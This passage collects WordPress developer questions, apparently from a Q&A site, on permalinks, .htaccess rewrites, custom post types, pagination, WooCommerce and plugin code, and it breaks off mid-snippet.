text: I am following this page on designing options menus: http://codex.wordpress.org/Administration_Menus What is the significance of the **menu_slug** ? I ask because when I change this value, the options page changes to > You do not have sufficient permissions to access this page. If I change it back to what it was, it's fine. **---EDIT---15/8/2011** This is the code I was changing:               function highlighter_menu_() {         add_options_page('Highlighter pen options', 'Highlighter Pen', 'manage_options', 'my-unique-identifier', 'highlighter_plugin_options');     }      and changed it to               function highlighter_menu_() {         add_options_page('Highlighter pen options', 'Highlighter Pen', 'manage_options', 'a-unique-identifier', 'highlighter_plugin_options');     }


title: Show category-ID in custom category-list

text:
I created a category-list to show them in a way, my accordion can use. (Custom in the sidebar) I want to add a class named "current" for the currently viewed post and the viewed category should be opened. Do you have any ideas to integrate this in the code? It was hard work to get this to work and now I dont know how to integrate it... Link: http://www.davidgoltz.de/2011/anna-bederke-actor/ (after you click "Portfolio", the menu appears and should show the opened tree with a highlighted post. Here is the code:

              <?php             $kategorien = get_categories(array(             'child_of' => 0,             'exclude_tree' => 15,             'exclude' => 16,             'orderby' => 'slug',             'order' => 'ASC'));                  foreach($kategorien as $kategorie) {                  echo '
'; echo ($kategorie->name); echo '';                     echo '
';                         $cat = $kategorie->cat_ID;                         $posts = get_posts('category='. $cat .'&posts_per_page=-1');                             foreach($posts as $post) { ?>
                                 <a href="<?php the_permalink(); ?>"><?php the_title(); ?>
                         <? }                     echo '
';             echo '
';                 }              ?>


title: Suddenly new posts have the default permalink instead of the post name

text: One of my clients' sites has suddenly and for no apparent reason decided to disregard the custom permalink structure when you add a new post. The permalink structure is set to /%postname%/ So whereas the normal behavior when you create a new post called "New Post" and save it would be to generate a permalink like http://www.mysite.com/new-post/ now it's creating default permalinks like http://www.mysite.com/?p=5709 I tried changing the custom permalink setting to something else, saving it, and changing it back, and it didn't correct the issue. I've found that manually changing the permalink in the post editor to the correct one works, and you can then visit the page at that new permalink. So apparently there's some setting or glitch that's causing the editor to generate the wrong permalink. Any thoughts? Thanks so much!


title: Divide Post content into separate divs for every 500 characters (or any other character counts)

text:
What is the best method for intercepting the_content of a post (for a single post page) and dividing the_content into sections of 500 characters (or any other number of characters), and then outputting each 500-character section wrapped in its own div container? I understand that get_the_content() will return the post content as a string that can be stored in a variable. But, being new to PHP, I'm not sure how to go about segmenting the content based on character count. We could get the character count using:                   <?php           $content = get_the_content();           echo strlen($content);         ?>      But that is as far as my knowledge goes. Can anyone help me out with this challenge? UPDATE: With some help from Lukas Kolletzki on stackoverflow I have gotten this far:                   <?php         $content = get_the_content();         $chunks = str_split($content, 500);              //Printing each chunk in a div         foreach($chunks as $chunk_content) {             echo "
";             echo $chunk_content;             echo "
";         }         ?>      This successfully splits the post content into 500-word sections and wraps each of them into separate containers. Going even further, Lukas suggested using the wordwrap() and explode() functions to ensure that words weren't cut in half:                   <?php         $content = get_the_content();         $strings = wordwrap($content, 500, "
"); //Put a {BREAK} every 500 characters         $chunks = explode("
", $strings); //Put each segment separated by {BREAK} into an array field              //Printing each chunk in a div         foreach($chunks as $chunk_content) {             echo "
";             echo $chunk_content;             echo "
";         }         ?>      This works quite nicely, but now I am realizing that the normal wordpress tags are not being output. Is this because get_the_content() outputs only text, without the html? How can I get the paragraphs back into the post content and still maintain the above functionality? Thanks again, and please do not mark this as duplicate. It's a much different question than the excerpt_length filter question... or at least I think so.


title: How to display terms and conditions in post area?

text: I'm running a multisite. I would like to display "Terms and conditions" when user trying to create a new post. Users should Click "I agree" link and then proceed to create a new post(wp-admin/post-new.php). Is there any good plugin available for this? Or can anyone give me some snippets? Looking forward to it. Thanks


title: Is there a way to keep youtube videos from displaying on home page, and display only on single posts?

text: I have an interesting problem that requires a bit of creativity to solve. We have a website where we are creating a video narrative about our son who was born with Down syndrome. We do a daily post that has a one minute video with it. On the home page I'm showing several recent blog posts with a read more link a few paragraphs into the post which someone would click to go to the single post. I have always made the posts where the video is at the top of the post (which is where the our readers have come to expect to find it now) but on the home page there could be 5 -8 videos that show up, which slows my page down as it waits to get the video info from youtube for all of those videos. I'm not sure what the best way to do this would be. I'd like to find a way to make the home page post have an image up top (maybe the featured image from the post?) and the first few paragraphs of the post, followed by the read more tag, which will take them to the single post...and the single post being the same as it always was. (which loads much faster since there's only one video on that page.) Make sense? I'm sure there are some creative ways I could do this that I'm not even thinking about yet. Any thoughts / advice you could give to help me with this and speed up the loading time of the home page would be greatly appreciated. Thanks!


title: get_the_categories filter returns an empty array

text: I'm developing a theme that uses the `get_the_category_list()` function (in _category-template.php_ ). Examining its code, this function calls the `get_the_category()` function (in _category-template.php_ ) which applies the `get_the_categories` filter at the end:               return apply_filters( 'get_the_categories', $categories );      For some strange reason, this filter returns an empty array. If I replace this line with:               return $categories;      then everything is ok. Any ideas about what's happening here?


title: Permalinks to Custom does not work (out of box)

text: I have tried to change mode of .htaccess in wordpress folder to 644. Yet, I get               Not Found     The requested URL /wordpress/features/ was not found on this server.      I keep reading about rearranging my .htaccess to get Permalinks working. Unable to understand. Here are the details of my .htaccess               # Comment     DirectoryIndex index.html index.htm index.php     <IfModule mod_rewrite.c>             RewriteEngine On             RewriteBase /wordpress/             RewriteCond %{QUERY_STRING} (^|\?|&)s2member_file_download\=.+             RewriteRule .* - [E=no-gzip:1]     </IfModule>     # BEGIN FlexiCache Standalone     <IfModule mod_rewrite.c>         RewriteEngine On         RewriteBase /         RewriteCond %{HTTP_HOST}        localhost$         RewriteCond %{REQUEST_METHOD}   GET         RewriteCond %{REQUEST_URI}      !^/wp-         RewriteCond %{HTTP_COOKIE}      !(wordpress_logged_in|comment_author|wp-postpass)         RewriteCond %{REQUEST_FILENAME} !-f         RewriteCond %{REQUEST_FILENAME} !-d [OR]         RewriteCond %{REQUEST_URI}      ^/$         RewriteRule ^(.*)               wp-content/plugins/flexicache/standalone.php [L]     </IfModule>     # END FlexiCache Standalone     # BEGIN W3TC Browser Cache     <IfModule mod_deflate.c>         <IfModule mod_setenvif.c>             BrowserMatch ^Mozilla/4 gzip-only-text/html             BrowserMatch ^Mozilla/4\.0[678] no-gzip             BrowserMatch \bMSIE !no-gzip !gzip-only-text/html             BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html         </IfModule>         <IfModule mod_headers.c>             Header append Vary User-Agent env=!dont-vary         </IfModule>         <IfModule mod_filter.c>             AddOutputFilterByType DEFLATE text/css application/x-javascript text/x-component text/html text/richtext image/svg+xml text/plain text/xsd text/xsl text/xml image/x-icon         </IfModule>     </IfModule>     <FilesMatch "\.(css|js|htc|CSS|JS|HTC)$">         <IfModule mod_headers.c>             Header set Pragma "public"             Header set Cache-Control "max-age=31536000, public, must-revalidate, proxy-revalidate"         </IfModule>         FileETag None         <IfModule mod_headers.c>              Header set X-Powered-By "W3 Total Cache/0.9.2.4"         </IfModule>     </FilesMatch>     <FilesMatch "\.(html|htm|rtf|rtx|svg|svgz|txt|xsd|xsl|xml|HTML|HTM|RTF|RTX|SVG|SVGZ|TXT|XSD|XSL|XML)$">         <IfModule mod_headers.c>             Header set Pragma "public"             Header set Cache-Control "max-age=3600, public, must-revalidate, proxy-revalidate"         </IfModule>         FileETag None         <IfModule mod_headers.c>              Header set X-Powered-By "W3 Total Cache/0.9.2.4"         </IfModule>     </FilesMatch>     <FilesMatch "\.(asf|asx|wax|wmv|wmx|avi|bmp|class|divx|doc|docx|eot|exe|gif|gz|gzip|ico|jpg|jpeg|jpe|mdb|mid|midi|mov|qt|mp3|m4a|mp4|m4v|mpeg|mpg|mpe|mpp|otf|odb|odc|odf|odg|odp|ods|odt|ogg|pdf|png|pot|pps|ppt|pptx|ra|ram|svg|svgz|swf|tar|tif|tiff|ttf|ttc|wav|wma|wri|xla|xls|xlsx|xlt|xlw|zip|ASF|ASX|WAX|WMV|WMX|AVI|BMP|CLASS|DIVX|DOC|DOCX|EOT|EXE|GIF|GZ|GZIP|ICO|JPG|JPEG|JPE|MDB|MID|MIDI|MOV|QT|MP3|M4A|MP4|M4V|MPEG|MPG|MPE|MPP|OTF|ODB|ODC|ODF|ODG|ODP|ODS|ODT|OGG|PDF|PNG|POT|PPS|PPT|PPTX|RA|RAM|SVG|SVGZ|SWF|TAR|TIF|TIFF|TTF|TTC|WAV|WMA|WRI|XLA|XLS|XLSX|XLT|XLW|ZIP)$">         <IfModule mod_headers.c>             Header set Pragma "public"             Header set Cache-Control "max-age=31536000, public, must-revalidate, proxy-revalidate"         </IfModule>         FileETag None         <IfModule mod_headers.c>              Header set X-Powered-By "W3 Total Cache/0.9.2.4"         </IfModule>     </FilesMatch>     # END W3TC Browser Cache          # BEGIN s2Member GZIP exclusions     <IfModule mod_rewrite.c>         RewriteEngine On         RewriteBase /wordpress/         RewriteCond %{QUERY_STRING} (^|\?|&)s2member_file_download\=.+         RewriteRule .* - [E=no-gzip:1]     </IfModule>     # END s2Member GZIP exclusions          # BEGIN WordPress     <IfModule mod_rewrite.c>     RewriteEngine On     RewriteBase /wordpress/     RewriteRule ^index\.php$ - [L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule . /wordpress/index.php [L]     </IfModule>          # END WordPress     # BEGIN Security advice from http://www.problogdesign.com/wordpress/11-best-ways-to-improve-wordpress-security/     # 8 – No Directories Should be Available for Browsing     # By default in most hosting, index of directories are shown in web browsers. This has a purpose but it also means that you reveal the content of any directory that has no index.html or index.php.          # Modifying this behavior is easy with Apache, just add the following line of code to the .htaccess file in the root directory (In the same place as the wp-config.php file).     Options All -Indexes     # END Security advice      Edit : Deactivated all plugins, did the `sudo a2enmod rewrite` and `sudo /etc/init.d/apache2 restart`. Enabled permalinks, refreshed the page. The .htaccess file was created automatically. Home page shows up ok (as always), none of the other pages/links work. I tried it on my localhost. My website is hosted on www.mcruiseon.com               # BEGIN WordPress     <IfModule mod_rewrite.c>     RewriteEngine On     RewriteBase /wordpress/     RewriteRule ^index\.php$ - [L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule . /wordpress/index.php [L]     </IfModule>     # END WordPress


title: Theme Option not Working Inside a Function

text: Earlier, I asked this question and received a code which _should_ work. Unfortunately, this code is not working. > I'm building a themes option panel and want users to be able to choose > between Next/Previous links or pagination in my archives and homepage. The code within `functions.php` is controlling an options panel drop-down which allows the user to choose pagination or next/previous links. **This code is displaying Next/Previous links at all times, even when I choose pagination. I need the pagination option to work too!** What I have in `functions.php`               array( "name" => "Paginate or next/previous links?",          "desc" => "Choose your option",          "id" => $shortname."_next_prev_or_paginate",          "type" => "select",          "options" => array("Next", "Pagination"),          "std" => "Next"),       What I have in `archives.php`               <?php     function my_theme_navigation()      {          global $shortname;              if( get_option( $shortname . '_next_prev_or_paginate' ) == 'Next' ) :              // the block for next-prev navigation              previous_posts_link ('Newer');             next_posts_link('Older');         else :              // the block for pagination             global $wp_query;              $big = 999999999; // need an unlikely integer                    echo paginate_links(                  array(                      'base' => str_replace( $big, '%#%', get_pagenum_link( $big ) ),                      'format' => '?paged=%#%',                      'current' => max( 1, get_query_var('paged') ),                      'total' => $wp_query->max_num_pages                  )              );          endif;      }     ?>      ## For all relevant codes... The original pagination code (which has been combined with prev/next)               <?php     global $wp_query;          $big = 999999999; // need an unlikely integer          echo paginate_links( array(         'base' => str_replace( $big, '%#%', get_pagenum_link( $big ) ),         'format' => '?paged=%#%',         'current' => max( 1, get_query_var('paged') ),         'total' => $wp_query->max_num_pages     ) );     ?>      The previous/next which has been combined with pagination               <?php previous_posts_link ('Newer') ?>     <?php next_posts_link('Older') ?>      The function for the theme options, chooses between pagination and next/prev links               array( "name" => "Paginate or next/previous links?",          "desc" => "Choose your option",          "id" => $shortname."_next_prev_or_paginate",          "type" => "select",          "options" => array("Next", "Pagination"),          "std" => "Next"),


title: How to create custom URLs for Custom Post Type sub sections?

text: Not sure how to ask this, because I'm not exactly sure what I'm asking. I'm looking to use custom URLs (using rewrite rules maybe?) to create 'tabs' for a Custom Post Type. In the past I've used things like a GET session variable to determine what tab the user is on, or JavaScript. I would really prefer to keep it on it's own logical page with a URL to reflect that. A very basic look of the tabs would be: `HOME | UPDATES | CONTRIBUTORS | WALL` For example if we're on the CPT of Charity's sub page of Updates: `http://siteroot/charity/updates`


title: qtranslate quick tags don't work in custom fields

text: Anyone familiar with qtranslate? Do you know how to enable custom field quick tag support? at the moment it just prints out `<!--:ge-->სახელი<!--:--><!--:en-->name<!--:--><!--:ru-->imia<!--:-->` without actually translating anything.


title: When inserting images into posts auto add a wrapping div

text: When I add images to a post via the TinyMCE editor I’d like WP to add a wrapping div around the `<img>` tag like `<div class="img-wrapper"><img src="url-to-image" alt="image" /></div>`. Is that somehow possible?


title: Get categories and descriptions from custom post type

text:
I'm trying to pull all of the categories associated with a custom post type within a loop, but I'm not sure how to get it so automatically pulls all of the categories automatically from the associated post type? My reason is that if a user wants to add/remove a category from the custom post type, I don't want to have to edit the template file to manually add or remove the category name. I currently have this:               <?php $args = array( 'post_type' => 'rentals');     $loop = new WP_Query( $args ); ?>     <?php while ( $loop->have_posts() ) : $loop->the_post();?>

<?php the_title(); ?>

       <?php category_description(); ?>       <a class="button" href="<?php the_field('rental_item_link') ?>">         Learn More →

     <?php endwhile; wp_reset_query(); ?>      And I know if I add `'category_name' => 'cat-slug1, cat-slug2, etc...'` it will pull those specific categories, but I'm trying to avoid doing that manually in case someone wants to add or remove a specific category. I'm also trying to get the category description as well, but I'm not sure if I am pulling that correctly either. I hope that makes sense.


title: Comments pagination and WP_QUERY

text:
I have a list of posts using wp_query On each post theres a list of comments What Im trying to do is to limit the number of comments to 2 and display a link for the next page of comments which I'm going to load with ajax Using this wordpress function next_comments_link(); doesn't seems to work... It just creates an empty div Can it be because I'm displaying the post using wp_query? in the same page there are multiple posts so I'm not sure how wordpress can link to the next list of posts while staying in the same page If I was not so clear I will be happy to give some more details Heres my full code:               $cf_args = array (         'post_type' => 'cf',         'orderby' => 'date',         'posts_per_page' => $numPosts,         'paged' => $page,         'order' => 'DESC'     );          $cf_query = new WP_Query( $cf_args );          if ( $cf_query->have_posts() ) {         while ( $cf_query->have_posts() ) {                  $cf_query->the_post(); ?>                  <div class="status" id="<?php echo get_the_id(); ?>">
<?php the_content(); ?>

                     <?php                      if ( is_user_logged_in() ) {                      $wishes_args = array(                           'comment_field'        =>  '
<textarea name="comment" id="comment" placeholder="כתוב משהוא..." cols="56" rows="1" tabindex="4" class="required"></textarea>
',                                   'id_form'              => 'cf-comment',                          'id_submit'            => 'cf-comment-submit',                      );                      comment_form($wishes_args);                      } ?>
                      <?php $comments = get_comments(array(                           'post_id' => get_the_id(),                           'status' => 'approve'                        ));                       wp_list_comments(array(                           'callback' => 'cf_wishes',                           'per_page' => 2,                            'reverse_top_level' => true                        ), $comments); ?>

                           <?php next_comments_link( 'Newer Comments »' ); ?>

              <?php }             }            wp_reset_postdata();      Thanks


title: How to disable the default WordPress redirect to non-www URLs?

text: I am trying to redirect all non-www to www URLs in my WordPress MultiSite install. I am using a simple `.htaccess` rule like this:               # Redirect non-www to www:     RewriteCond %{HTTP_HOST} !^www\. [NC]     RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]      Normally this would work, however WordPress already seems to have a default redirection to non-www URLs. This means that when I use that `RewriteRule` it causes an infinite redirect loop. **How do I disable this?** PS. I tried `define('NOBLOGREDIRECT', 'http://www.domain.com');` in `wp- config.php` with no effect.


title: add_rewrite_rule works only with one "directory"

text: This works (Wordpress redirects to the canonical URL of the post with the given slug):               add_rewrite_rule('mydir/([^/]+)/?$',   'index.php?pagename=$matches[1]', 'top');      This is not working (404)               add_rewrite_rule('mydir/mysubdir/([^/]+)/?$',   'index.php?pagename=$matches[1]', 'top');      Why? :)


title: Make wp_link_pages() suitable for Twitter Bootstrap markup

text:
Below there's the Wordpress code found in post-template.php for the wp_link_pages() function - this function generates a page navigation for posts or pages having the content split into multiple pages.               function wp_link_pages($args = '') {         $defaults = array(             'before' => '
' . __('Pages:'), 'after' => '
',             'link_before' => '', 'link_after' => '',             'next_or_number' => 'number', 'nextpagelink' => __('Next page'),             'previouspagelink' => __('Previous page'), 'pagelink' => '%',             'echo' => 1         );              $r = wp_parse_args( $args, $defaults );         $r = apply_filters( 'wp_link_pages_args', $r );         extract( $r, EXTR_SKIP );              global $page, $numpages, $multipage, $more, $pagenow;              $output = '';         if ( $multipage ) {             if ( 'number' == $next_or_number ) {                 $output .= $before;                 for ( $i = 1; $i < ($numpages+1); $i = $i + 1 ) {                     $j = str_replace('%',$i,$pagelink);                     $output .= ' ';                     if ( ($i != $page) || ((!$more) && ($page==1)) ) {                         $output .= _wp_link_page($i);                     }                     $output .= $link_before . $j . $link_after;                     if ( ($i != $page) || ((!$more) && ($page==1)) )                         $output .= '';                 }                 $output .= $after;             } else {                 if ( $more ) {                     $output .= $before;                     $i = $page - 1;                     if ( $i && $more ) {                         $output .= _wp_link_page($i);                         $output .= $link_before. $previouspagelink . $link_after . '';                     }                     $i = $page + 1;                     if ( $i <= $numpages && $more ) {                         $output .= _wp_link_page($i);                         $output .= $link_before. $nextpagelink . $link_after . '';                     }                     $output .= $after;                 }             }         }              if ( $echo )             echo $output;              return $output;     }      The problem here is that the generated markup, even through arguments, can't be used with Twitter Bootstrap Page navigation classes because the markup should be something like this:

Pages:

1

2

      then I tried using the following arguments:               'before' => '

' . __( 'Pages:', 'mytextdomain' ) . '
',     'after' => '

',     'link_before' => '
',     'link_after' => '
',      But the output is:

Pages:

1

2

      As you can see the `<li>` elements for the page numbers get erroneously nested into `<a>` elements. By looking at the function I can see why. However I'm not sure how should I proceed to fix the markup. How would you filter or edit this function to correct the markup? Should I rewrite an entirely new one?


title: Gallery Settings Change available Columns

text: Is there a filter hook which changes the number of available columns in gallery settings screen. I'm talking about the :                        <?php _e('Columns'); ?>         <select class="columns" name="columns"             data-setting="columns">             <?php for ( $i = 1; $i <= 9; $i++ ) : ?>                 <option value="<?php echo esc_attr( $i ); ?>" <?php selected( $i, 3 ); ?>>                     <?php echo esc_html( $i ); ?>                 </option>             <?php endfor; ?>         </select>           in `wp-includes/media-template.php` line `359-369` ( _Wordpress v3.5_ ) **What I basically want to do is to change`$i <= 9;` to `$i <= 5;` in loop exit condition.** I guess if I just do so, it will be discarded with the next _Wordpress_ update. Thanks for your help Eugene


title: Reset Roles (or undo role changes on theme change)

text: I am creating a theme that deletes some user roles that are not necessary and creates others. (It deletes author and contributor and renames subscriber). Everything works, but on theme deactivation, I want to readd all the roles I deleted. Do I have to manually go in and create the roles (author and contributor), manually adding in all the capabilities listed here: http://codex.wordpress.org/Roles_and_Capabilities ? There are two reasons I don't want to do this:   1. More code.   2. If capabilities and roles get updated, on every Wordpress update I'll have to manually check I'm adding the right capabilities back. There must be a better solution for undoing all role changes I made on deactivation. Right?


title: The user can only see their own profile

text: I would like it if I'm logged in as an administrator can look at the profiles of all users if they are logged in as a subscriber, for example, "toni123456" Can I see only your profile "toni123456". This is a template domain/wordpress/ **author** /user_name


title: Does the WP_Query 'private' argument for post status only apply to privately published content?

text: The only peice of code that I can find that applies to this is on line 2430 in query.php in WP 3.4.1               foreach ( get_post_stati() as $status ) {       if ( in_array( $status, $q_status ) ) {         if ( 'private' == $status )           $p_status[] = "$wpdb->posts.post_status = '$status'";         else           $r_status[] = "$wpdb->posts.post_status = '$status'";       }     }      From what I've experienced, with any other `post_status` param added with the '`private`' param added, the results will not be cross compared. For example, both (public) '`publish`' and '`private`' added, it will still return both publicly published posts and privately published posts. Here is a simple piece of code demonstrating it.               function example($post_status       = array('publish'),                      $excludeCurrent    = 0)     {         $post_type_names = get_post_types('', 'names');         $skip_post_types = array('attachment', 'revision', 'nav_menu_item');         foreach ($skip_post_types as $value)         {             unset($post_type_names[$value]);         }         unset($value);         unset($skip_post_types);              $arg_query = array(             'post_type'         => $post_type_names,             'post_status'       => $post_status,             'post__not_in'      => $excludeCurrent,             'nopaging'          => TRUE,             'order'             => 'date',             'orderby'           => 'DESC',             'suppress_filters'  => TRUE         );              $example_query = new WP_Query($arg_query);         return $example_query;     }          $example01 = example(); //returns only publicly published posts.     $example02 = example(array('publish', 'private')); //returns both publicly and privatly published posts.     $example03 = example(array('future', 'private')); //returns both publicly and privatly future posts as well as privatly published posts.      The third example is where my biggest issue is. After digging more before I posted this. I noticed that the operator '`OR`' is always added between both post_status for the MySQL query. I also notice that the **search** param may offer a solution. So is there some additional filter that I may be missing? Possibly one to switch the MySQL operator '`OR`' to '`AND`'?


title: how to edit title of bulk posts?

text: I have got hundreds of posts published but with inappropriate titles. I want to edit/updates titles. I have those all titles in a .txt file which I want to have them on the posts. If there is any solution?? I want the fastest way. It's also so hard for me to copy/past each title to the post. I want one-click method. I have heard on some sites that it can done by exporting all posts to .csv file which can be then edited in excel to change titles and then imported to the site. but again I guess the problem is still there in excel I have to edit each column which is again a very tedious. I wish if someone could refer me wordpress plugins or any kinda excel bot which can make my work done. Thanks.


title: Highlight parent menu item when child is not in menu

text: I want to highlight the parent of a child page in the menu when the child page itself is not in the menu. I know this would work if you add the child as a sub page but that isn't the case. Any ideas?


title: How to add a new product type on woocommerce product types?

text: I want to add a new custom "product type" to woocommerce plugin: ![enter image description here](http://i.stack.imgur.com/t2aF6.png) Tried to duplicate one of currently exist product type files (woocommerce template structure) as a new file (file name and inside commented name) but not worked! ![enter image description here](http://i.stack.imgur.com/wnPMl.png)


title: Localhost load-scripts.php Error 500 in Dashboard

text: I cloned a remote site on my local MAMP. I fixed pretty much all isues like permission issues and timthumb cache issue used by my Woothemes Fresh News theme. The only issue now is that the backend is not working properly. I cannot add tags nor pick existing ones. I cannot load the featured image I picked and so on. When I check the access log I see:               [29/Jul/2012:14:59:42 +0700] "GET /wp-admin/load-scripts.php?c=1&load=admin-bar,hoverIntent,common,jquery-color,schedule,wp-ajax-response,autosave,wp-lists,quicktags,jquery-query,admin-comments,suggest,jquery-ui-mouse,jquery-ui-sortable,postbox,post,media-upload,jquery-ui-datepicker,theme-preview,word-count,editor,jquery-ui-resizable,jquery-ui-draggable,jquery-ui-button,jquery-ui-position,jquery-ui-dialog,wpdialogs,wplink,wpdialogs-popup,wp-fullscreen&ver=3.4.1 HTTP/1.1" 500 -     ::1 - -      In the error_log I found               [Sun Jul 29 15:14:47 2012] [error] [client ::1] PHP Fatal error:  Call to undefined function did_action() in /opt/local/www/elc/wp-includes/script-loader.php on line 65, referer: http://elc.local/wp-admin/edit.php      I tried turning off all plugins by renaming the plugins folder as regular deactivation did not work either. But it did not work. Still jQuery / JavaScript issues. I Googled for a solution. No luck. Any ideas to get me back to working on the site locally?


title: Shortcodes can only be used in Pages, not Posts

text:
I've been trying to fix this for weeks now. I want to display a certain kind of posts on all my pages at the top. The code should be located in the `header.php`. It will display sponsors, and the post will only be showing the featured image. To do this I've tried using Blog-in-Blog and Category List Posts. Both great plug-ins to display a certain category. I've used `do_shortcode` to display the list, because originally the posts can only be displayed through `the_content();` of a page using `[blog-in-blog id=7]` or whatever. My problem is that it will display the posts on ALL pages on my website, except for the front-page. I really can't understand this. The "Category List Posts"-plugin simply doesn't display anything, but the "Blog-in-Blog"-plugin displays an error message: > ERROR: Blog-in-Blog shortcodes can only be used in pages, not posts. But it's not a post. It's a page, right? This is part of my `header.php`-file (if that could help):               <body <?php body_class(); ?>>

Our Corporate/Business Sponsors
             <?php echo do_shortcode("[catlist content=yes title_class=header-title title_tag=h2 id=17 thumbnail=yes thumbnail_size=50,50 numberposts=20]"); ?>


title: Wordpress pre-build slider

text: Does wordpress 3+ brings a default images slider feature? Or is it just the template I downloaded? If it brings a pre-build slider, how should I customize, add more features to it? I want to modify it to allow some content sliding features (like on: http://www.iwebix.de/front-slider-wordpress-plugin/) and not only images.


title: index.php file in wp-content/themes/ folder

text: I was manually uploading a theme im working on to my wordpress install tonight when I noticed a index.php file in my themes folder. I opened the file and it contained only the following three lines of code:               <?php      //silence is golden     ?>      This kind of concerned me, at first I thought well maybe I accidentally uploaded the file to the themes directory, but the contents of the file are not anything I would have put. So what I am getting at is, should there be a index.php file in my wp- content/themes/ directory? Or is it possible someone put it there. OR! Now that I think of it, maybe the file was accidentally uploaded by myself, and then a "hacker" or someone who got access to the directoy changed the contents to include only that one comment, hoping it would break the site. Not really a code question but I wanted to get some input on this situation.


title: creating a plug in that would tap into save/update action of posts

text: What's a good plug-in that taps into the update post or save post action that allows admins to enforce rules such as if a user selects a category with the ID 5 then he also has to select at least one category from the the XYZ custom taxonomy etc - or that update/save won't go thru. I'd like to write my own rules as to who ( which roles ) can do what and so on. My plan is this. Get a well-written plug-in and use that as the boiler plate for customizations. So, I can just go into the source code of that plug in and inject all kinds of business logic that is specific to my web site. Any leads towards this goal is really appreciated.


title: install tinymce plugin

text: I'm sure this is really simple, but I can't find a quick answer anywhere by searching. I just want to include the TinyMCE plugin "template" distributed by Moxiecode into my Wordpress editor. Simply uploading it into the plugins folder isn't sufficient, I get that I need to mess with hooks and filters, but so far I'm unclear what the simplest way to do this is.


title: Is there any difference between post in child term and child & parent terms?

text: This may be really obvious, but I can't find other documentation or questions about it. ## Scenario I have a directory of Businesses (custom post types). Each Business has a "Type" (custom taxonomy). The Business Types are hierarchical, such as Eat > Restaurant > African, Play > Parks, Services > Medical > Dental, etc. ## Other Notes:   * My "Type" archives should work with the core implementation and no modifications (e.g. the Restaurant archive should show all posts in that term or any child term).   * I expect I'll be using `get_terms()` quite a bit in my templates.   * I expect I'll need the additional templates provided by the Category Template Hierarchy if it supports custom taxonomies.   * I may need to use the term descriptions from the parent at times.   * I may integrate the Taxonomy Images plugin and possibly need the parent term's image. ## Question When entering each business, should all parent and child terms be selected or should I only select the "deepest" term (i.e. Should I assign it to "Eat," "Restaurants," and "African" or just "African?")? Is the "correct" answer in my case the "correct" way of using hierarchical taxonomies or does the "correct" answer depend on the use case?


title: fetch_feed showing only first item

text: I'm trying to import a feed from a WordPress site to another using `fetch_feed()`. All is good except for the fact I can get only the first item of the feed. ## Here's the code I'm using               add_shortcode('custom_feed','feed2');      function feed2(){         $rss = fetch_feed( 'http://blog.sugarpulp.it/feed/' );         $rss_items = $rss->get_items( 0, 3 );         foreach ( $rss_items as $item) {             $title      = $item->get_title();             return $title;         }      }      Hope can help me out. This thing is driving me crazy!


title: Error filtering attributes in woocommerce

text: I have two custom attributes in woocommerce, Brand and Colour If I access the url for a custom attribute like for example: www.myshop.com/branad/nike and then try to apply a layered navigation filter to display only red items within Nike brand the screen goes blank or says server error (chrome) If I try to filter products when viewing a category or product tag url then, the filters works as expected. Is anyone having this issue? Thanks Daniel


title: Adding new product type in Jigoshop

text: I am customising the Jigoshop products and I need to add a new Product type to the drop down list when creating a new product. Choosing the new product type on the drop-down list should add a new tab to the product details panel just underneath the selection box; just like when the type 'Variable' is selected, a new tab called 'Variations' is added. To keep this question simple and meaningful, the new tab should have no fields or functions. What should I modify please? Thanks


title: Why I can download any file except PHP files from a URL but I can download any from another site?

text: all, I've been struggling with this for the past two days, I just can't find the answer - sorry if I post this in the wrong site but this is the best option I could think of. I have some problems with a site that I troubleshot all the way until they led me to this particular problem. If I want to download a PHP file browsing to its parent directory I'm not able to, something about the file not being found. I can, however, download any other type of file from this site. http://nextgenerationattorney.org/wp-content/plugins/wp-import-txt/ In contrast, I can go to another site, browse to the same directory, and I'm able to download any file without problems. http://nextgenlawyer.com/wp-content/plugins/wp-import-txt/ I thought this might be a problem caused by .htaccess restrictions, but I copied the .htaccess file from the working URL to the non working and it still does not work - I don't need to restart apache for this to take effect, do I? I'm just out of ideas, I tried copying the whole directory from the working site, permissions are the same on both, I don't know what else to try. Anybody can share out any other idea? If more information is needed please let me know. Thank you guys!


title: I would like to have add_post_meta to return the ID instead of true or false

text: I would like to know if there's a way to have the ID when we use the `add_post_meta()` function ? I need it so I could remove it using ajax calls. Is there a way to retrieve it or I'll have to make a query to the database to find it ?


title: How to get plugin's folders permission

text: I have built a wordpress plugin (wp-content/plugins/MyPlugin) and I would to check some folders permission inside the MyPlugin directory. My problem is that I don't what Wordpress constant or what PHP function I should use to target on of these directories.               if( !is_writable(WP_PLUGIN_URL.'MyFolder') )     {         echo 'NOK'.'<hr>';       }      This piece of code always returns 'NOK' whereas I am 100% sure 'MyFolder' is actually writable . Can you give me some piece of advice here to get the right file in order to target any folder that would be in my plugin directory? thanks


title: Theme automatically inserting "more" tag on every post

text: I'm using the free Lensa theme and it seems like it inserts a "more" tag in every single post when viewing by category, and the point at which it inserts it is proportional to the length of the post. http://daswanderlust.com/blog That quote is only about 10 words long but gets truncated after the 6th word or so. I admit I don't have much experience with php, but I'm assuming this should be a pretty easy fix since the code seems to do this universally across any type of post. Any ideas/tips on which files to go through first? What sort of function I'm looking for?


title: Missing categories for Custom Taxonomy and Custom Posts

text: I'm having trouble seeing why categories are not appearing for Knowledge Base and Articles. What's wrong with this code?               <?php     // Custom post types          /* faq */     add_action( 'init', 'faq_post_type' );     if ( ! function_exists( 'faq_post_type' ) ) {     function faq_post_type() {              //Register FAQ Post Type         register_post_type( 'faq',             array(             'description' => __( 'FAQ Articles', 'guerilla' ),             'labels' => array(                     'name' => __( 'FAQ', 'guerilla' ),                     'singular_name' => __( 'FAQ', 'guerilla' ),                     'add_new' => __('Add New', 'guerilla'),                       'add_new_item' => __('Add New FAQ', 'guerilla'),                       'edit_item' => __('Edit FAQ', 'guerilla'),                       'new_item' => __('New FAQ', 'guerilla'),                       'view_item' => __('View FAQ', 'guerilla'),                       'search_items' => __('Search FAQ', 'guerilla'),                       'not_found' =>  __('No FAQ found', 'guerilla'),                       'not_found_in_trash' => __('No FAQ found in Trash', 'guerilla')                 ),             'public' => true,             'menu_position' => 7,             'rewrite' => array('slug' => 'faq'),             'supports' => array(                 'title',                 'editor'),             'public' => true,             